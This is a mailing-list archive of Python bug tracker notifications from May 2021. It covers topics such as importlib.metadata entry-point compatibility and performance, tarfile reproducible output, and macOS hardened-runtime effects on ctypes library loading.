From report at bugs.python.org Sun May 30 12:02:45 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 30 May 2021 16:02:45 +0000 Subject: [issue43413] tuple subclasses allow arbitrary kwargs In-Reply-To: <1614994631.23.0.248202692536.issue43413@roundup.psfhosted.org> Message-ID: <1622390565.75.0.336193467145.issue43413@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +25052 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26456 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 12:11:09 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 30 May 2021 16:11:09 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622391069.13.0.609069085467.issue44246@roundup.psfhosted.org> Jason R. Coombs added the comment: Thanks Zac for your input. > Just chiming in with a plea to slow down the rate of changes to importlib.metadata - I understand that you want to tidy up the API, but even deprecations cause substantial work downstream. It would be difficult to go much slower. Are you suggesting delaying the deprecation warning? My rationale for not delaying the deprecation warning is because it's possible using the backport to support the newer APIs all the way back to some end-of-life Pythons. If the deprecation warning is delayed, that seems to only delay the inevitable - that most projects will ultimately have to endure the toil of transitioning the code and relying on backports to support older Pythons. Still, projects have the option to use the older APIs indefinitely by pinning the backport, or delay their adoption of the newer APIs by suppressing the warning. There's a lot of flexibility to limit the toil. What approach would you recommend? > Would it really be so bad to support the older APIs until they go end-of-life in CPython? At this point, I believe the code is compatible with all known use cases and it's conceivable the compatibility layer could be supported in Python releases until Python 3.9 is EOL. Is that what you're proposing? Would that help the Hypothesis case (or others)? My instinct is the value proposition there is small. > For example, in Hypothesis we care a great deal about compatibility with all supported Python versions (including treating warnings as errors) and try to minimize the hard dependencies. As a result, our entry-points handling looks like this... Project maintainers are allowed of course to treat warnings like errors, but since deprecation warnings are the primary mechanism for an upstream API to signal to the downstream that something is changing, projects should expect an increased amount of toil by transforming the default behavior of warnings. I suspect that the hypothesis project could achieve forward compatibility within its constraints by vendoring `backports.entry_points_selectable`, and thus re-using a shared implementation of the conditional import dance. I've added a note to the project's README indicating that option. The implementation you have seems suitable, though. > Change can be worth the cost, but there *is* a cost and the packaging ecosystem is already painfully complex and fragmented. Compatibility should be a foundational principle, not an optional extra _if someone presents a compelling use case!_ Agreed: compatibility is a foundational principle. Compatibility was built into the first release of this new behavior (importlib_metadata 3.6). Thanks to Anthony's feedback in the PR and extensive exploration and rewrites, the solution presented there has a fairly straightforward transition and clean separation of concerns. The case reported above, where compatibility was not achieved is an acknowledged missed concern, and I'm happy to invest the time to restore that compatibility if it's worth the trouble. The reason I'd thought it's not worth the trouble is because contrary to Anthony's claim, no user has reported an issue with index-based access on Distribution.entry_points results for the three months that this functionality has been in place, which is why a note about the incompatibility seemed sufficient (after the fact). I'll proceed with adding compatibility for this reported case, although I worry that won't satisfy the concerns. Is there a satisfactory solution that doesn't involve reverting the changes? Is there an approach that meets the goals of the change with less disruption? > I'm also seriously concerned that you take GitHub links as an indication of who is affected. Python is very very widely used, including in environments that don't feed much back into the GitHub-open-source space, and I think it's important to avoid breaking things for low-visibility users too. I surely recognize that Github links and reports are only one indicator of one segment of the user base, but it's the sole indicator these projects have to solicit user concerns. That's why I pinned the issue reported about the Deprecation warning and used that forum to express concern and support for the users' issues and to present a variety of approaches for any number of users to avail themselves. I wanted to increase the visibility of the issue and limit the difficulty of addressing the intentional deprecation. I mainly rely on Github reports and +1s on those reports as an indication of the impact of an issue. I use Github links as a means of networking. It was Anthony who suggested the links were an indication of a widespread issue. I only meant to contrast that concern to other breakages (in my experience) that showed dozens of links to affected issues. Linked issues are a secondary indicator at best. I do expect that if users have an issue that they would report it through python/importlib_metadata or bpo, but I also expect that absence of a report demonstrates stability. At least, that's been my experience in the hundreds of projects I've developed on Sourceforge, Bitbucket, GitLab, and Github. After employing defensive, empathetic programming, developing docs, and writing comprehensive tests, what approaches should I be taking to solicit user concerns other than to have an open forum for soliciting issues and responding to those issues promptly and with proactive solutions? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 12:13:51 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 30 May 2021 16:13:51 +0000 Subject: [issue43413] tuple subclasses allow arbitrary kwargs In-Reply-To: <1614994631.23.0.248202692536.issue43413@roundup.psfhosted.org> Message-ID: <1622391231.33.0.264651463571.issue43413@roundup.psfhosted.org> Serhiy Storchaka added the comment: Surprisingly there were almost no tests for keyword arguments in subclasses. PR 26456 makes checks for some classes (like tuple, list, frozenset) more strict: if subclass does not define __init__ or __new__, it will reject arbitrary keyword arguments. It also makes the check in set.__init__() more lenient for uniformity with frozenset and list. Subclass of set can now define a __new__() method with additional keyword parameters without overriding also __init__(). Added tests for some of builtin classes. Raymond, please take a look. It touches classes maintained tracked by you: set/frozenset, itertools, random. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 12:17:31 2021 From: report at bugs.python.org (Anthony Sottile) Date: Sun, 30 May 2021 16:17:31 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622391451.42.0.0770007062693.issue44246@roundup.psfhosted.org> Anthony Sottile added the comment: I also need `.sort(key=...)` for what it's worth, the error in this issue was just the first encountered I think my only satisfactory outcome would be: - the original api returns actual dicts - the sub-api returns actual lists - the new select is implemented as a separate *new* api without changing the existing api ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 12:22:42 2021 From: report at bugs.python.org (Anthony Sottile) Date: Sun, 30 May 2021 16:22:42 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622391762.18.0.509591625673.issue44246@roundup.psfhosted.org> Anthony Sottile added the comment: also https://github.com/miurahr/aqtinstall/issues/221 (this links to importlib-metadata tracker, not sure how you missed it) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 12:55:10 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Sun, 30 May 2021 16:55:10 +0000 Subject: [issue44262] tarfile: some content different output In-Reply-To: <1622216364.56.0.487056278945.issue44262@roundup.psfhosted.org> Message-ID: <1622393710.17.0.911632555847.issue44262@roundup.psfhosted.org> Filipe La?ns added the comment: tarfile will keep the mtime from the file, the issue is that you are touching the files in the beginning of the script. When you write to the files, you change the mtime (last modified time), which produces a different TarInfo. If you comment out the code that writes to the files, you get the exact same output. #dir0 = Path("/tmp/a") #dir0.mkdir(parents=True, exist_ok=True) #fil0 = dir0 / "eph0" #fil0.write_text("Text 0", encoding="UTF-8") #fil1 = dir0 / "eph1" #fil1.write_text("Text 1", encoding="UTF-8") #fil2 = dir0 / "eph2" #fil2.write_text("Text 2", encoding="UTF-8") $ python compress.py b'cc3bd1bf99edc4f0796e1c466d251b0f808db790cbdd55bc920c041fb405e535 /tmp/py_gzip.tgz\n' b'cc3bd1bf99edc4f0796e1c466d251b0f808db790cbdd55bc920c041fb405e535 /tmp/py_gzip.tgz\n' $ python compress.py b'cc3bd1bf99edc4f0796e1c466d251b0f808db790cbdd55bc920c041fb405e535 /tmp/py_gzip.tgz\n' b'cc3bd1bf99edc4f0796e1c466d251b0f808db790cbdd55bc920c041fb405e535 /tmp/py_gzip.tgz\n' If you are in a situation where the mtime may change, but you want the same output, you can reset it. See the last example in https://docs.python.org/3/library/tarfile.html#tar-examples. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 12:55:26 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 30 May 2021 16:55:26 +0000 Subject: [issue43413] tuple subclasses allow arbitrary kwargs In-Reply-To: <1614994631.23.0.248202692536.issue43413@roundup.psfhosted.org> Message-ID: <1622393726.91.0.162055157066.issue43413@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 12:58:41 2021 From: report at bugs.python.org (Aymeric Augustin) Date: Sun, 30 May 2021 16:58:41 +0000 Subject: [issue34852] Counter-intuitive behavior of Server.close() / wait_closed() In-Reply-To: <1538316994.45.0.545547206417.issue34852@psf.upfronthosting.co.za> Message-ID: <1622393921.52.0.313135829756.issue34852@roundup.psfhosted.org> Aymeric Augustin added the comment: Would it make sense to add `await asyncio.sleep(0)` in `Server.wait_closed()` to ensure that all connections reach `connection_made()` before `wait_closed()` returns? This would be fragile but it would be an improvement over the current behavior, wouldn't it? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 13:04:11 2021 From: report at bugs.python.org (Anthony Sottile) Date: Sun, 30 May 2021 17:04:11 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622394251.59.0.279803920114.issue44246@roundup.psfhosted.org> Anthony Sottile added the comment: the `.select(...)` api is at least twice as slow as indexing as well: setup: ``` virtualenv venv39 -p python3.9 venv39/bin/pip install flake8 pytest pytest-randomly virtualenv venv39 -p python3.10 venv310/bin/pip install flake8 pytest pytest-randomly ``` ```python import importlib.metadata import sys import time def f(): eps = importlib.metadata.entry_points() if sys.version_info >= (3, 10): eps.select(name='console_scripts') else: eps['console_scripts'] t0 = time.time() for _ in range(100): f() t1 = time.time() print(f'{t1-t0}') ``` ``` $ ./venv39/bin/python t.py 0.687570333480835 $ ./venv310/bin/python t.py 1.3486714363098145 ``` it is *way* worse when involving multiple entry points: ```python import importlib.metadata import sys import time # moved outside of the loop, already showed this component is slower eps = importlib.metadata.entry_points() def f(): # common for plugin systems to look up multiple entry points for ep in ('console_scripts', 'flake8.extension', 'pytest11'): if sys.version_info >= (3, 10): eps.select(name=ep) else: eps[ep] t0 = time.time() for _ in range(10000): f() t1 = time.time() print(f'{t1-t0}') ``` ```console $ ./venv39/bin/python t.py 0.01629471778869629 $ ./venv310/bin/python t.py 8.569908380508423 ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 13:12:51 2021 From: report at bugs.python.org (Anthony Sottile) Date: Sun, 30 May 2021 17:12:51 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622394771.39.0.150156888095.issue44246@roundup.psfhosted.org> Anthony Sottile added the comment: oops, tiny typo in those code examples, they should say `group=` instead of `name=` -- though the performance is unchanged: (first example) ```console $ ./venv39/bin/python t.py 0.6641988754272461 $ ./venv310/bin/python t.py 1.3172023296356201 ``` (second example) ```console $ ./venv39/bin/python t.py 0.014233589172363281 $ ./venv310/bin/python t.py 8.910593271255493 ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 13:36:56 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 30 May 2021 17:36:56 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622396216.0.0.105052838213.issue44246@roundup.psfhosted.org> Jason R. Coombs added the comment: There are known performance concerns. I recommend to set those aside for now or move them to a separate issue because (a) The performance is theoretically better in the nominal case because it avoids a sort/group operation. (b) There are known performance degradations introduced by importlib_metadata 3.5 to de-duplicate distributions, degradations mitigated somewhat by importlib_metadata 4.3. (c) Compatibility layers may be confounding performance concerns. May I suggest addressing performance concerns in the importlib_metadata project as that project provides much better granularity on the different changes? > I think my only satisfactory outcome would be: > - the original api returns actual dicts The original API returns an actual dict subclass (SelectableGroups). - the sub-api returns actual lists With https://github.com/python/importlib_metadata/pull/323, this expectation is also met as EntryPoints is a list. - the new select is implemented as a separate *new* api without changing the existing api The new API is invoked only through opt-in calls not previously available in the old API. I believe this achieves your goal without requiring a new name for `entry_points` or `Distribution.entry_points` (and thus creating less toil for consumers). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 15:03:22 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 30 May 2021 19:03:22 +0000 Subject: [issue44268] gettext: deprecate selecting plural form by fractional numbers (part 2) In-Reply-To: <1622367850.33.0.100033596673.issue44268@roundup.psfhosted.org> Message-ID: <1622401402.59.0.824946048365.issue44268@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > Pablo, can we add these warnings in 3.10? Thanks for checking! Yeah, I think it makes sense to go ahead adding these warnings to 3.10 . Please, add me as a reviewer to the backport PR to 3.10. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 15:11:04 2021 From: report at bugs.python.org (Anthony Sottile) Date: Sun, 30 May 2021 19:11:04 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622401864.83.0.624597415988.issue44246@roundup.psfhosted.org> Anthony Sottile added the comment: the toil is still present, the existing, good apis are deprecated and the new, bad apis are slow -- and the odd subclasses are still present ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 15:11:43 2021 From: report at bugs.python.org (Anthony Sottile) Date: Sun, 30 May 2021 19:11:43 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622401903.81.0.46274205111.issue44246@roundup.psfhosted.org> Anthony Sottile added the comment: I have also shown that the performance is indeed not better in the nominal case, as demonstrated in the first case ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 15:25:20 2021 From: report at bugs.python.org (John L) Date: Sun, 30 May 2021 19:25:20 +0000 Subject: [issue44269] smtplib AUTH command doesn't handle EAI arguments Message-ID: <1622402720.57.0.196040289354.issue44269@roundup.psfhosted.org> New submission from John L : In an EAI (SMTPUTF8) mail session, AUTH usernames and passwords can be UTF-8, not just ASCII. The fix is easy. In smtplib.py, in three places in the auth() and auth_cram_md5() routines change ".encode('ascii')" to ".encode(self.command_encoding)" I have tried this with EAI mail servers in India and China to be sure it works. ---------- components: Library (Lib) messages: 394779 nosy: jrlevine priority: normal severity: normal status: open title: smtplib AUTH command doesn't handle EAI arguments type: behavior versions: Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 15:33:02 2021 From: report at bugs.python.org (Vasco Gervasi) Date: Sun, 30 May 2021 19:33:02 +0000 Subject: [issue44262] tarfile: some content different output In-Reply-To: <1622216364.56.0.487056278945.issue44262@roundup.psfhosted.org> Message-ID: <1622403182.01.0.297439961938.issue44262@roundup.psfhosted.org> Vasco Gervasi added the comment: Dear Filipe, sorry I did not explaing the use case, obiously this is a toy example to show my problem. So I have pipeline, that from a repository generate a tar file, using a python script; if the hash of the tar file is different it will trigger other things. As you can imagine each time the pipeline is run, the content is the same (if same commit) but the files timestamps are different and so the tar is different. Thanks for pointing out that examples, I will check and let you know. Thanks ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 15:48:42 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Sun, 30 May 2021 19:48:42 +0000 Subject: [issue44262] tarfile: some content different output In-Reply-To: <1622216364.56.0.487056278945.issue44262@roundup.psfhosted.org> Message-ID: <1622404122.81.0.208889958023.issue44262@roundup.psfhosted.org> Filipe La?ns added the comment: Yeah, I understand. What you want is achieved by making sure the mtime from the tar archive, and files on the archive, is reproducible, like I demonstrated here. Can this be closed? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 18:52:52 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 30 May 2021 22:52:52 +0000 Subject: [issue43964] ctypes CDLL search path issue on MacOS In-Reply-To: <1619599189.53.0.161750349555.issue43964@roundup.psfhosted.org> Message-ID: <1622415172.5.0.0401400319509.issue43964@roundup.psfhosted.org> Ned Deily added the comment: Thanks for the report! I've spent some time investigating it and the story behind it turns out to be a bit complicated, so bear with me. It's all tied in to Apple's attempts to improve the security of macOS. As of macOS 10.15 Catalina, Apple introduced new requirements for downloadable installer packages, like those we provide for macOS on python.org; in order for such packages to be installed with the macOS installer, they would now have to be "notarized" by Apple. The notarization process is somewhat similar in concept to the process that an app has to go through to be submitted to the Mac App Store but with less stringent requirements. In particular, the installer package is automatically inspected to ensure that all executables are codesigned, are linked with the more-secure "hardened runtime", and do not request certain less-secure entitlements. Although originally announced for enforcement starting with the release of Catalina in the fall of 2019, Apple delayed the enforcement until February 2020 to give application developers more time to modify their packages to meet the new requirements. (See, for example, https://developer.apple.com/news/?id=12232019a). The first python.org macOS installers that conformed to the new requirements and were notarized were for the 3.8.2 and 3.7.7 releases, staring in 2020-02. In those first releases, we used two entitlements: com.apple.security.cs.disable-library-validation com.apple.security.cs.disable-executable-page-protection Some issues were reported (like Issue40198) when using those first releases, so we added two additional entitlements for subsequent releases: com.apple.security.automation.apple-events com.apple.security.cs.allow-dyld-environment-variables While we didn't realize it until your issue, that did have an effect on ctype's behavior when trying to find shared libraries and frameworks. Using the hardened runtime, as now required for notarization, causes the system dlopen() interface, which ctypes uses, to no longer search relative paths. The dlopen man page (for macOS 11, at least) includes this warning: Note: If the main executable is a set[ug]id binary or codesigned with entitlements, then all environment variables are ignored, and only a full path can be used. After some experimentation, it looks like that statement isn't exactly correct at least on macOS 11 Big Sur: unprefixed paths can still be used to find libraries and frameworks in system locations, i.e. /usr/lib and /System/Library/Frameworks. But it is true that, when using the hardened runtime, dlopen() no longer searches the user-controlled paths /usr/local/lib or /Library/Frameworks by default. And there apparently is no way for a notarized executable to revert to the previous behavior by adding other entitlements (https://developer.apple.com/forums/thread/666066). With the allow-dyld-environment-variables entitlement included after the initial releases, it *is* now possible to change this behavior externally, if necessary, by explicitly setting the DYLD_LIBRARY_PATH and/or DYLD_FRAMEWORK_PATH environment variables (see man 1 dyld). To demonstrate using a third-party library in /usr/local/lib (similar results with third-party frameworks in /Library/Frameworks): # ------ python.org 3.7.6, not codesigned ------ $ /usr/local/bin/python3.7 Python 3.7.6 (v3.7.6:43364a7ae0, Dec 18 2019, 14:18:50) [Clang 6.0 (clang-600.0.57)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import ctypes >>> ctypes.cdll.LoadLibrary('libsodium.dylib') # ------ python.org 3.7.7, first notarized release ------ $ /usr/local/bin/python3.7 Python 3.7.7 (v3.7.7:d7c567b08f, Mar 10 2020, 02:56:16) [Clang 6.0 (clang-600.0.57)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import ctypes >>> ctypes.cdll.LoadLibrary('libsodium.dylib') Traceback (most recent call last): File "", line 1, in File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/ctypes/__init__.py", line 442, in LoadLibrary return self._dlltype(name) File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/ctypes/__init__.py", line 364, in __init__ self._handle = _dlopen(self._name, mode) OSError: dlopen(libsodium.dylib, 6): no suitable image found. Did find: file system relative paths not allowed in hardened programs $ DYLD_LIBRARY_PATH=/usr/local/lib /usr/local/bin/python3.7 Python 3.7.7 (v3.7.7:d7c567b08f, Mar 10 2020, 02:56:16) [Clang 6.0 (clang-600.0.57)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import ctypes >>> ctypes.cdll.LoadLibrary('libsodium.dylib') [...] OSError: dlopen(libsodium.dylib, 6): no suitable image found. Did find: file system relative paths not allowed in hardened programs # ------ python.org 3.7.8 and beyond including 3.9.x ------ $ /usr/local/bin/python3.7 Python 3.7.8 (v3.7.8:4b47a5b6ba, Jun 27 2020, 04:47:50) [Clang 6.0 (clang-600.0.57)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import ctypes >>> ctypes.cdll.LoadLibrary('libsodium.dylib') [...] OSError: dlopen(libsodium.dylib, 6): image not found $ DYLD_LIBRARY_PATH=/usr/local/lib /usr/local/bin/python3.7 Python 3.7.8 (v3.7.8:4b47a5b6ba, Jun 27 2020, 04:47:50) [Clang 6.0 (clang-600.0.57)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import ctypes >>> ctypes.cdll.LoadLibrary('libsodium.dylib') It is rather unfortunate that, when including the allow-dyld-environment-variables entitlement, you now receive a less helpful error message "image not found" rather than "file system relative paths not allowed in hardened programs". So, what to do? 1. Remove the use of the hardened runtime? That would mean that python.org installer packages could not be notarized and thus would no longer be installable without going through various onerous steps to override Gatekeeper protections (and would presumably also reduce somewhat system security). Since the primary target of python.org installers is for inexpert users, this option seems unacceptable. 2. Add code to ctypes to try to mimic the previous behavior? So something like: if the path passed to ctypes is not absolute and the initial call to dlopen() fails with an "image not found" error, try again by making an absolute path by prepending '/usr/local/lib' and/or '/Library/Frameworks' and retrying. I assume we could make that work somehow but the question is should we? That seems very kludgey and would be re-opening a potential security hole that Apple clearly thinks is significant and is trying to discourage. 3. Update the ctypes documentation? In particular, document this change in behavior for codesigned installations using the hardened runtime (like python.org installers) and suggest avoid using relative paths on macOS or, if necessary, have the DYLD_LIBRARY_PATH or DYLD_FRAMEWORK_PATH environment variables set appropriately when launching the interpreter. (I did a quick experiment and it seemed that it was not possible to change dlopen()'s behavior by setting those variables from inside the running interpreter process by using OS.ENVIRON, an unsurprising result.) It seems to me that changing the ctypes documentation (and adding a changelog blurb), option 3, is the least bad of the available options. One would hope that this does not affect *too* many third-party packages and user applications. Obviously it does some :( @Ronald, what do you think? ---------- versions: +Python 3.10, Python 3.11 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 20:28:30 2021 From: report at bugs.python.org (Inada Naoki) Date: Mon, 31 May 2021 00:28:30 +0000 Subject: [issue44206] Add a version number to dict keys. In-Reply-To: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org> Message-ID: <1622420910.05.0.470553188845.issue44206@roundup.psfhosted.org> Inada Naoki added the comment: Can we close this issue? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 22:15:53 2021 From: report at bugs.python.org (Michael Hirsch, Ph.D.) Date: Mon, 31 May 2021 02:15:53 +0000 Subject: [issue44270] shutil.which: does not find path/cmd.ext where ext is not given Message-ID: <1622427353.15.0.786946612007.issue44270@roundup.psfhosted.org> New submission from Michael Hirsch, Ph.D. : The early short-circuit logic in shutil.which() when cmd includes a directory component incorrectly gives None on Windows if the correct filename suffix was not also given. Example: on Windows if ./foo.exe exists, then shutil.which('./foo.exe') returns None. ---------- components: Library (Lib) messages: 394784 nosy: michael2 priority: normal severity: normal status: open title: shutil.which: does not find path/cmd.ext where ext is not given type: behavior versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 22:19:28 2021 From: report at bugs.python.org (Michael Hirsch, Ph.D.) Date: Mon, 31 May 2021 02:19:28 +0000 Subject: [issue44270] shutil.which: does not find path/cmd.ext where ext is not given In-Reply-To: <1622427353.15.0.786946612007.issue44270@roundup.psfhosted.org> Message-ID: <1622427568.66.0.279315094001.issue44270@roundup.psfhosted.org> Change by Michael Hirsch, Ph.D. : ---------- keywords: +patch pull_requests: +25053 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26458 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 22:23:04 2021 From: report at bugs.python.org (Michael Hirsch, Ph.D.) Date: Mon, 31 May 2021 02:23:04 +0000 Subject: [issue44270] shutil.which: does not find path/cmd.ext where ext is not given In-Reply-To: <1622427353.15.0.786946612007.issue44270@roundup.psfhosted.org> Message-ID: <1622427784.98.0.885073658994.issue44270@roundup.psfhosted.org> Michael Hirsch, Ph.D. added the comment: Correction: Example: on Windows if ./foo.exe exists, then shutil.which('./foo') returns None. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 30 22:51:06 2021 From: report at bugs.python.org (Eryk Sun) Date: Mon, 31 May 2021 02:51:06 +0000 Subject: [issue44270] shutil.which: does not find path/cmd.ext where ext is not given In-Reply-To: <1622427353.15.0.786946612007.issue44270@roundup.psfhosted.org> Message-ID: <1622429466.84.0.950399409568.issue44270@roundup.psfhosted.org> Eryk Sun added the comment: Michael, thank you for the PR, but please associate it with the existing issue bpo-24505. ---------- nosy: +eryksun resolution: -> duplicate stage: patch review -> resolved status: open -> closed superseder: -> shutil.which wrong result on Windows versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 00:46:42 2021 From: report at bugs.python.org (Andrei Kulakov) Date: Mon, 31 May 2021 04:46:42 +0000 Subject: [issue43858] Provide method to get list of logging level names In-Reply-To: <1618508817.95.0.500447634147.issue43858@roundup.psfhosted.org> Message-ID: <1622436402.1.0.596935016373.issue43858@roundup.psfhosted.org> Change by Andrei Kulakov : ---------- keywords: +patch pull_requests: +25054 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26459 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 03:23:21 2021 From: report at bugs.python.org (Vasco Gervasi) Date: Mon, 31 May 2021 07:23:21 +0000 Subject: [issue44262] tarfile: some content different output In-Reply-To: <1622216364.56.0.487056278945.issue44262@roundup.psfhosted.org> Message-ID: <1622445801.37.0.107663776923.issue44262@roundup.psfhosted.org> Vasco Gervasi added the comment: Yes, you can close it. For future reference: tar_reset = "/tmp/py_tar_reset.tar" def reset(tarinfo): tarinfo.uid = tarinfo.gid = 0 tarinfo.uname = tarinfo.gname = "root" tarinfo.mtime = 1 return tarinfo with tarfile.open(tar_reset, "w:xz") as tar_obj: tar_obj.add("/tmp/a", arcname="a", filter=reset) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 03:49:16 2021 From: report at bugs.python.org (Victor Lazzarini) Date: Mon, 31 May 2021 07:49:16 +0000 Subject: [issue43964] ctypes CDLL search path issue on MacOS In-Reply-To: <1619599189.53.0.161750349555.issue43964@roundup.psfhosted.org> Message-ID: <1622447356.16.0.950491582945.issue43964@roundup.psfhosted.org> Victor Lazzarini added the comment: Hi Ned, thanks for your detailed response. I have to say that the LD_LIBRARY_PATH partially worked in some cases, the library got loaded. However in cases where there were dependencies, further issues appeared particularly when the link (as revealed by otool -L) was prefixed by '@rpath'. I was able to fix these by editing these paths (which is possible in my use case), but we just need to note that it may cause difficulties for others. We also found a solution to avoid needing to set the environment var. We use the following code ct.CDLL(ctypes.util.find_library('mylib')) instead of just passing the library. That works well, and perhaps you may recommend it in the docs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 03:51:47 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 31 May 2021 07:51:47 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622447507.73.0.384950016006.issue42972@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25055 pull_request: https://github.com/python/cpython/pull/26460 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 03:51:50 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 31 May 2021 07:51:50 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622447510.86.0.031033988604.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 4b20f2574d412f4c4a5b1ab799d8e71a5dd3b766 by Hai Shi in branch 'main': bpo-42972: Fully implement GC protocol for xxlimited (GH-26451) https://github.com/python/cpython/commit/4b20f2574d412f4c4a5b1ab799d8e71a5dd3b766 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 03:58:01 2021 From: report at bugs.python.org (=?utf-8?b?5LiW55WM56ys5LiA5aW95ZCD?=) Date: Mon, 31 May 2021 07:58:01 +0000 Subject: [issue44271] asyncio random Message-ID: <1622447881.83.0.692370536572.issue44271@roundup.psfhosted.org> Change by ?????? : ---------- nosy: twbt4f priority: normal severity: normal status: open title: asyncio random _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 03:59:28 2021 From: report at bugs.python.org (=?utf-8?b?5LiW55WM56ys5LiA5aW95ZCD?=) Date: Mon, 31 May 2021 07:59:28 +0000 Subject: [issue44271] asyncio random carsh with longtime run Message-ID: <1622447968.51.0.0787409355185.issue44271@roundup.psfhosted.org> New submission from ?????? : import asyncio import timeit num = 0 async def test(): global num num += 1 print(f"done task {num}") return f"task: {num}" async def main(): task = asyncio.create_task(test()) # ko = await test() # print(await task, ko) if __name__ == '__main__': number = 1000000 while number: number -= 1 asyncio.run(main()) print("are you ok") # time_stage = timeit.timeit("asyncio.run(main())", globals=globals(), number=100000) # print(time_stage) ---------- components: +asyncio nosy: +asvetlov, yselivanov title: asyncio random -> asyncio random carsh with longtime run type: -> crash versions: +Python 3.9 Added file: https://bugs.python.org/file50074/wait.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 04:06:04 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 31 May 2021 08:06:04 +0000 Subject: [issue11871] test_default_timeout() of test_threading.BarrierTests failure: BrokenBarrierError In-Reply-To: 